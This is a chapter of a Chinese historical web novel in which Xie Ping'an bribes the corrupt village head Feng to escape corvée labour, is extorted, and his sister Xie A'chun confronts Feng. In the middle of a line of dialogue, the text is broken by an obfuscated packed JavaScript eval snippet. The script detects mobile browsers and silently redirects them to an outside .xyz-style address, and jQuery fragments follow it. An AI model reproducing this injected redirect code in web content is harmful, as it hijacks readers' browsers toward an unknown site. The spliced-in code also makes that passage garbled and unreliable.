“我是跟着他来的!”谢阿春一指身影将要消失在二楼的谢平安,“我俩一起的。” 趁着小二半信半疑,她拨开人群嗖地窜上了楼。 一楼大堂有人说书,惊堂木一拍,抑扬顿挫的语调说着:“话说这萧将军萧祁平城一战,被柔然人坑害,丢了性命,自此妻儿老小,连带他自己,都战死沙场,唯留一垂髫幼女萧玉,独在世间……” “可叹满门忠烈,落得如此凄凉下场,稚子伶仃,堪向谁依?幸而萧将军兄长手足情深,将自己这侄女接到洛阳,养在身边,视如己出……要说这萧将军兄长是何人?正是当今兰陵萧氏的掌权人,以正二品尚书令,加封录尚书事,开府仪同三司的萧璟萧相国是也!” “此人品行端直,高风亮节,当的上一句君子如风,再说他那大公子,颇有乃父之风……” 谢阿春三步并两步,来到二楼,这一层是由屏风隔开的屏厢,不比三楼雅间尊贵,但比一楼大堂清净。 花窗前靠着一名歌女,手抚琵琶,歌声婉转。 这会儿没到饭点,二楼也没什么人,谢阿春绕了半圈,就听到谢平安隐隐的说话声。 “出门前有事耽搁,劳冯里正久候,我自罚一杯。” 谢阿春闪身躲到紧邻二人的屏风后,从两扇屏风交叠的缝隙里望去,这个位置,正对着谢平安。 谢平安举杯尽饮,立时咳嗽两声,大病初愈的雪白面皮上晕起了红。 谢阿春气得牙痒痒,差点没忍住上前把他手里的酒壶丢出去,谢平安从来不喝酒,如今伤刚好才多久,竟还学起人喝酒了! 冯里正背对着她,老嗓浑浊一笑,一看就是没少喝:“贤弟因何事耽搁啊?让老夫猜猜,莫不是你那妹子,又给你惹事?” “家妹是顽皮了些,也是我疏于管教,才让她上回给里正和县令大人添了诸多麻烦,这一杯再敬您,还望您在大人面前美言几句,莫要让大人与家妹计较。” 他正要抬手饮尽,不知瞧见了什么,忽然剧烈呛咳起来。 “阿……”他急急住口,一双眼不住地瞟向屏风后。 谢阿春对上他视线,也是一阵手忙脚乱——他怎么看到自己的! 她下意识往左边半扇屏风藏去,这一躲,才发现这屏风是半透的,根本藏不住身形! “贤弟怎么了?”冯里正疑惑不已,转身欲看,谢平安忙拉住他,再给他添了杯酒。 “方才是我不胜酒力,我再自罚三杯!” 冯里正大笑:“贤弟豪爽!来,干!” 谢阿春藏不住,干脆也不藏了,从屏风后探出头,指了指谢平安手里的酒杯,龇牙咧嘴地做了个鬼脸。 谢平安面颊红透,连眼角都透着粉,分不清是急的还是酒意上头,只趁冯里正不注意,拿眼睛不住地瞧她,带着丝丝缕缕的哀求。 谢阿春才不吃这套,但到底哼哼唧唧地往屏风后一蹲,让冯里正回头也瞧不见她。 一下喝了这么多酒,谢平安的声音有些软绵,已透出几分醉意:“…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702022|172734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两锭银子,是孝敬您的,还请您一定收下。” 冯里正一见这两锭银子,登时眼里精光四射。 他神情闪了闪,缓声道:“好贤弟,这才几日,你就能凑出这么多钱,可是有什么发财的买卖,能否带带老哥哥我?” “并无什么发财的买卖,只是……只是有远房亲戚接济一二。” “贤弟莫要诓我,那日你与你那妹子,在城里几幅字画就卖出一枚金叶子,这事儿我可听说了。” “不敢诓骗里正,金叶子我们确实没有要,平安深知怀璧其罪的道理,这两锭银子拿着已是棘手……” “你拿着棘手,老哥哥我却有路子,你不知道,当今多少富商大户,为求玉山先生真迹豪掷千金,不如叫上你那会仿玉山先生真迹的朋友,咱们一道干个大买卖?” 谢平安踌躇着拱手:“不是我不愿,而是此人平安也不认得,怕是不能为里正引荐。” “哼!”冯里正冷了脸,“看来贤弟还是信不过老哥哥我,如此也罢。” 谢平安又罚酒告罪了一番,直到冯里正喝得醉醺醺起身,面带笑意地告辞,才试探着道:“冯里正,那免徭役的事……?” 冯里正脚步顿了顿:“徭役?什么徭役?” 不知谢阿春,谢平安也怔住了。 谢平安:“就是免今年五月的徭役,我这两锭银子都给您了……” “两锭银子?”冯里正老眼闪过一丝暗光,“这银子,不是你替你妹子来给我赔罪的吗?” 谢平安脸白了。 “贤弟,老哥哥我可从来没说过,这顿饭是免徭役啊,你不就是为了赔罪,才来请我吃饭吗?” 冯里正呵呵地笑,手掌拍在谢平安肩上:“贤弟不如再想想,与老哥哥我做那玉山先生字画买卖的事?” 谢平安垂头站在原地,手里还捏着方才敬酒的杯子,他掐在杯沿上的指尖泛白,几乎与瓷杯一个颜色。 “他们说往年免徭役,都要一锭银子就可以,今年我给了两锭,为什么还是不行?”他颤声道,“这般行径,是不是欺人太甚了,冯里正?” “你是里正我是里正?”冯里正嗤道,“我说涨,就要涨!你不想给,可以不来!” 谢平安浑身发抖,脸上被酒意激出的血色也消退了:“我要将此事上报县令大人……” 冯里正像听到什么笑话,蓦地大笑:“你尽管去!好贤弟,你不会以为,这些钱都进我冯老六一人的腰包吧?这事儿要不是有上头允许,你倒是想想,我敢这么做吗?” “天高皇帝远,这山阴县,谁说了算,你自己掂量掂量罢!” 他仰天大笑,绕出屏风,一步还没迈,突然就僵住了。 手上被弹弓打中的地方又发起疼来,他后退半步:“你、你这丫头怎么在这儿……” 谢阿春热血上涌,胸中像烧了块热炭,灼得她眼睛赤红。 “老东西,臭走狗!我打死你这个贪得无厌的家伙!”